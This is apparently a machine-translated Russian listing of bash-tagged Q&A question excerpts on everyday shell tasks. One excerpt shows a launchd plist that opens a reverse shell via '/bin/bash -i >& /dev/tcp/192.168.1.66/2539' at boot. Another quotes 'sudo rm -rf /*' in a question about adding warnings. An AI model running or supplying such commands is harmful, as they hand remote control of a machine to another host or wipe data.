Вопросы с меткой [bash]

Bash - это бесплатная оболочка для Unix-подобных операционных систем из проекта GNU.

0
голосов
1ответ
613 показов

Установить местоположение .bashrc в cygwin + conemu без изменения $ HOME

Я хотел бы точно указать, откуда Cygwin читает .bashrc. насколько я могу догадаться, .bash_profile использует $ HOME, чтобы найти, где .bashrc, однако некоторые проекты, над которыми я работаю, ...
0
голосов
1ответ
1k показов

Использование git diff с xargs -0, пробелы в именах файлов

Я пытаюсь извлечь список «проектов», которые изменились с момента данного коммита. Для этого я приближаю проект к папке, содержащей измененный файл. Проблема, которую я имею, заставляет это работать ...
0
голосов
1ответ
93 показов

Скрипты оболочки не могут создавать новые файлы в Linux

У меня проблема с новой установкой Linux, не позволяющей сценариям оболочки, которые я выполняю, создавать папки и файлы. Сначала я подумал, что это проблема, потому что я не вошел в систему с ...
0
голосов
3ответа
51 показов

Сценарий шифрования или сценарий блокировки

У меня есть скрипт bash, который я создал. Я хотел бы знать, возможно ли зашифровать его, чтобы никто не смог открыть его и увидеть код? Тем не менее, я хотел бы, чтобы люди запускали его при ...
0
голосов
1ответ
112 показов

Почему я не могу использовать последнюю версию установленного GIT в этой оболочке Linux сервера Bluehost?

Я не очень в Linux, и у меня есть следующая проблема. Я вошел через SSH в мою оболочку Linux на сервере Bluehost и сделал: git --version Я видел, что у меня есть старая версия git: -jailshell-4.1$ ...
0
голосов
2ответа
1k показов

Как переместить все файлы подкаталогов в другой каталог

Мои файлы имеют следующую структуру: 11 --11a -----a.jpg -----b.jpg -----.... --11b -----d.jpg -----g.jpg ... Я хочу, чтобы все файлы .jpg находились в одной папке: 11 -a.jpg -b.jpg -d.jpg -g.jpg ... ...
0
голосов
1ответ
1k показов

Учитывая каталог, рекурсивно получить относительные пути всех файлов

Я создаю файл спецификации RPM, и мне нужно перечислить в разделе %files файлы для включения относительно корня сборки, который я укажу. У меня уже есть собранный каталог, который нужно упаковать - ...
0
голосов
1ответ
89 показов

Не удается открыть файл при переходе по каталогу с символическими ссылками

Nginx не запускается со следующей ошибкой: nginx: [emerg] ModSecurityConfig in /usr/local/server/nginx/conf/nginx.conf:133: Cannot open config file: /usr/local/server/nginx/conf/../base/base.conf ...
0
голосов
0ответов
1k показов

Как устранить ошибку сегментации в оболочке bash Windows 10?

Я пытаюсь запустить ADMIXTURE 1.3, используя Ubuntu на Bash в Windows 10 (Anniversary Update), используя следующую команду: ./admixture --cv j2 bedfilename.bed 2 Я получаю сообщение об ошибке «Ошибка ...
0
голосов
2ответа
214 показов

Как получить ~/foo из /home /user1 /foo?

Приглашение Bash поддерживает escape-последовательность \w , задокументированную как \w the current working directory, with $HOME abbreviated with a tilde (uses the value of the PROMPT_DIRTRIM ...
0
голосов
1ответ
94 показов

Launchd файл для обратного потока

У кого-нибудь есть идеи, почему это не в состоянии выполнить соединение обратного потока при загрузке? Label com.unix.bash.plist ProgramArguments /bin/bash -i >& /dev/tcp/192.168.1.66/2539 ...
0
голосов
1ответ
879 показов

Как использовать faketime на bash?

Возникла проблема с командой faketime . Пытаюсь использовать его, но всегда получаю ошибку: faketime -t "2000-01-01 01:00:00" /usr/bin/faketime: 102: exec: 2000-01-01 01:00:00: not found У меня ...
0
голосов
1ответ
1k показов

альтернативные метки времени wget

У меня есть скрипт, который работает в цикле и проверяет наличие копий mysqlbackup на другом сервере. пару раз в день wget загружает файл, хотя никаких изменений не было. то, что я пытался ...
0
голосов
1ответ
1k показов

Cronjob не работает

Я попытался настроить cronjob на моем сервере. На самом деле эта команда должна выполнять Java-программу каждый час. Но почему-то это не сработало. Я погуглил и попытался настроить тестовый скрипт, ...
0
голосов
1ответ
500 показов

Запуск скриптовых команд в make-файле (Linux make)

Я боролся с этим большую часть прошлой ночи. Я хочу переименовать все файлы xxxx-yyyy в xxxx:yyyy в папке из make-файла. У меня есть renamefiles.sh который отлично работает: #!/bin/sh for i in $i do ...
0
голосов
1ответ
328 показов

Постоянная глобальная переменная в оболочке Linux

У меня есть сценарий, который должен "включать свет" для других сценариев в некоторых случаях для других сценариев, и поскольку переменная окружения доступна только для дочернего процесса, дюйм ...
0
голосов
1ответ
839 показов

Как бы я использовал git и bash для рекурсивного перемещения всех файлов в папке с именем `n` вверх на один каталог

Я работаю над реорганизацией существующего проекта. У них была следующая странная структура. src -main --app ---item ----src -----Item.coffee ---other ----src -----Other.coffee Я хочу переместить все ...
0
голосов
0ответов
19 показов

Как я могу автоматизировать установку с помощью числовых опций?

Например, если бы я устанавливал пакет с помощью apt-get, я бы сделал: sudo apt-get install -y PACKAGE_NAME но в этом случае мои варианты при ручной установке будут «1», «1» и «2» соответственно. ...
0
голосов
2ответа
366 показов

Как вставить VRULE в RRDTool во время выполнения с переменной в Bash

Я сгенерировал несколько графиков успешно с помощью классного приложения RRDTool. Тем не менее, у меня есть некоторые проблемы с опцией VRULE при построении графиков. Я генерирую графики с помощью ...
0
голосов
2ответа
1k показов

Bash скрипт для открытия обратного туннеля SSH при запуске

Я пытаюсь запустить скрипт при запуске на компьютере Debian Jessie, помимо прочего он создает обратный туннель SSH. Дело в том, что я поставил этот скрипт в if-up и либо в rc.local для запуска. Все ...
0
голосов
1ответ
244 показов

Команда `who` или` finger` не отображает подключенных пользователей (Bash в Windows 10)

Я установил Bash на Windows 10 и во время обучения Unix я обнаружил , что команды , who и finger не делать шоу зарегистрированных пользователей. Когда я набираю who в Bash, он просто ничего не ...
0
голосов
2ответа
2k показов

Написание сценария Unix (bash), который создает каталог в месте, указанном в командной строке

В настоящее время у меня есть сценарий Unix (написанный на bash), который выполняет несколько команд для изменения группы файлов, которые я указываю с помощью flist, содержащего их пути. Основная ...
0
голосов
3ответа
2k показов

Как пакетно переименовать файлы, удалив специальный символ без использования переименования в оболочке Linux

Например, у меня есть 100 файлов и их имена имеют пустое пространство. Одним из них является « The Monkey King Return (2015).mkv ». Как убрать все пробелы в имени и заменить их символом точки, а ...
0
голосов
1ответ
198 показов

Linux подавляет ошибку поиска в скрипте bash в сочетании с удалением файла

У меня есть однострочный скрипт, который работает нормально, но ... find $HOME/html/mydir/downloads/sec/*.zip -mtime 2 -exec rm {} \; Он генерирует ошибку, если не найдено ни одного файла, и мой ...
0
голосов
1ответ
835 показов

Можно ли автоматически скомпилировать документ LaTeX через терминал, используя TeXworks?

Я хочу создать псевдоним для автоматической компиляции основного файла .tex большого документа в LaTeX под Debian Wheezy. Это означает, что мне нужна команда оболочки для этого. Это возможно? Я в ...
0
голосов
2ответа
833 показов

псевдоним bashrc не работает

Я пытаюсь изменить команду ls с помощью псевдонима в моем файле .bashrc, и я получаю некоторые странные ошибки. файл .bashrc export http_proxy="Some URL" export https_proxy=$http_proxy alias ls='ls ...
0
голосов
1ответ
236 показов

bash: показывать имена фоновых заданий в приглашении bash

Было бы здорово, если бы приглашение bash можно было использовать в качестве мини-панели задач. Может ли приглашение bash (PS1) отображать имена заданий, перечисленных в команде jobs?
0
голосов
1ответ
41 показов

Сложите «краткую форму здесь документа»

Извиняюсь за x-post из stackoverflow, но, похоже, здесь есть представления о [notepad++]. Согласно странице man ksh или man bash (RHEL 6.6.0)
0
голосов
1ответ
157 показов

Как легко просматривать файловую систему в Bash

Часто мне приходится открывать файл в оболочке, а путь к файлу не запоминается. Существует ли дополнение / расширение для оболочки, которое отображает иерархию файловой системы, как вы делаете это ...
0
голосов
2ответа
1k показов

Команда Linux 'screen' - Запустить экран и запустить что-то одновременно?

Я большой поклонник "экрана" программы linux, который позволяет мне запускать экран во время сеанса SSH, который может остаться в живых после моего отключения. Больше информации об экране здесь Есть ...
0
голосов
1ответ
402 показов

Есть ли способ настроить предупреждение перед выполнением некоторых команд в терминале?

Есть некоторые терминальные команды, которые способны эффективно уничтожать большие массивы данных. Например: sudo rm -rf /* или rm -rf /* . Я хочу настроить предупреждение, которое будет ...
0
голосов
1ответ
367 показов

Проверьте, не зависла ли самба с клиента Linux

Какой самый эффективный способ проверить доступность сервера Samba из клиента Linux?
0
голосов
1ответ
377 показов

Рекурсивно добавлять папки в команду экспорта на bashrc

Я хочу добавить рекурсивно добавить папки в экспортируемую переменную. Предположим, у меня есть переменная MATLABPATH объявленная ниже: export MATLABPATH=PATH1:PATH2:…PATHN:$MATLABPATH И я хочу ...
0
голосов
1ответ
186 показов

Цитировать команду для `find -execdir test [command]` (Bash)

Я хотел бы выполнить следующую команду, чтобы выполнить git fetch в git-репозиториях, если есть удаленный (= git remote не пуст): find -name .git -execdir test $(git remote) \; -execdir git fetch ...
0
голосов
1ответ
105 показов

Bash: игнорировать пустое место в начале строки

У меня только косметический вопрос. Я экспортирую некоторую переменную в мой .bashrc следующим образом: export LD_LIBRARY_PATH=/usr/local/matlab/bin/glnxa64:\ ...
0
голосов
1ответ
4k показов

Сохранить результат grep -c в переменную оболочки

Как я могу сохранить результат grep -c как целое число в переменной оболочки? Это: check=sudo virsh list |egrep -c '\b[0-9]{2}\b' только дает мне количество совпадений и печатает его на экране, тогда ...
0
голосов
0ответов
37 показов

Большинство команд не будут работать на Bash

Поэтому я обновился до последней версии El Capitan (10.11.3) и adb перестал работать на меня. После того, как я связался с ~/.bash_profile, я ухудшил ситуацию, и теперь большинство команд, таких как ...
0
голосов
1ответ
628 показов

Псевдоним команды из терминала, который открывает новый терминал в определенной папке

У меня есть эта команда уже работает в моем .bash_profile: alias mysite='cd /Applications/sites/mysite;pwd; php artisan serve --port=9000 | open http://localhost:9000 | open -a Finder ./' Так что: ...
0
голосов
1ответ
63 показов

Файловые операции с использованием Symlink Source/Destination

Я создал набор символических ссылок, которые я могу использовать в BASH с CDPATH:«desk», который указывает на мой рабочий стол, и «docs», который указывает на мои документы. Я могу cd , используя эти ...
0
голосов
1ответ
66 показов

Bash расширяет массив, где он должен использовать только один элемент

Мой простой bash-скрипт для получения изображений Raspberry Pi, которые старше одной минуты: #!/bin/bash time=`date +"%FT%H_%M_%S"` imagedir="/root/pilapse/images/" files=`ssh pi find ...
0
голосов
1ответ
40 показов

Apple Script: невозможно вызвать id3tag из скрипта с помощью "do shell script"

Попытка переименовать mp3-файлы из сценария Apple, который будет частью более крупного сценария, включая Audio Hijacker. set folder_p to "/Users/me/Music/" set folder_path to POSIX path of folder_p ...
0
голосов
1ответ
923 показов

Как переписать строку echo/printf другой? (Заставить его начать в центре экрана)

Я хочу написать скрипт, который выводит предложения, которые я выбираю. Я хочу, чтобы они появлялись в центре экрана: выведите первый, а затем сделайте второй поверх первого. Вот мой код: ...
0
голосов
1ответ
3k показов

Как настроить задание Jenkins на целевой сервер для развертывания?

Я использую два сервера CentOS. Я не использую какой-либо репозиторий кода. В Дженкинс, когда я нажимаю "Новый элемент", я не вижу места для входа на целевой сервер. Я ожидаю место для настройки ...
0
голосов
1ответ
43 показов

bash, если оператор продолжает изменять второй аргумент в буквальную строку

Так что я не уверен, почему он это делает. Мой оператор if продолжает интерпретировать вторую переменную как буквенную строку вместо переменной. Ниже мой точный код. lights() { bulb1state=$(gatttool ...
0
голосов
1ответ
564 показов

Как оставить только английский язык в оболочке bash в Mac OS X?

Я использую операционную систему Mac OS X с оболочкой bash и очень устала менять раскладку клавиатуры каждый раз, когда переключаюсь в оболочку. Кто-нибудь знает, как автоматически установить ...
0
голосов
2ответа
77 показов

Как передать параметр в команду Linux в конце строки

Я хотел бы передать параметр в конце строки, пока я даю команду в терминале. Так что я хотел бы что-то вроде примера ниже find /path/to/directory -type f -exec grep -irl "SEARCH_PATTERN" {} \; что-то ...
0
голосов
1ответ
83 показов

Sed/Awk линия двойная

У меня есть такой список. Bob Jim Steve В bash есть способ превратить это в такой список? Bob Jim Steve
0
голосов
2ответа
8k показов

установить глобальную переменную и использовать стандартный вывод из функции bash

Вот код: #! /bin/bash function foo() { G1=123 echo "ReturnVal" } RV="$(foo)" echo "RV=$RV, G1=$G1" # RV=ReturnVal, G1= foo >/dev/null echo "G1=$G1" # G1=123 Я хочу выполнить функцию, установить ...
0
голосов
1ответ
76 показов

Почему вы сообщаете разные размеры для одного и того же каталога?

$ pwd / $ du -hs * 0 bin 8.2M boot 82M dev 23M etc 0 lib 0 lib64 16K lost+found 4.0K media 0 misc 4.0K mnt 0 net 106M opt 44K root 414M run 0 sbin 4.0K srv 0 sys 1.3G usr 36M var $ du -hs var 118M ...
0
голосов
1ответ
3k показов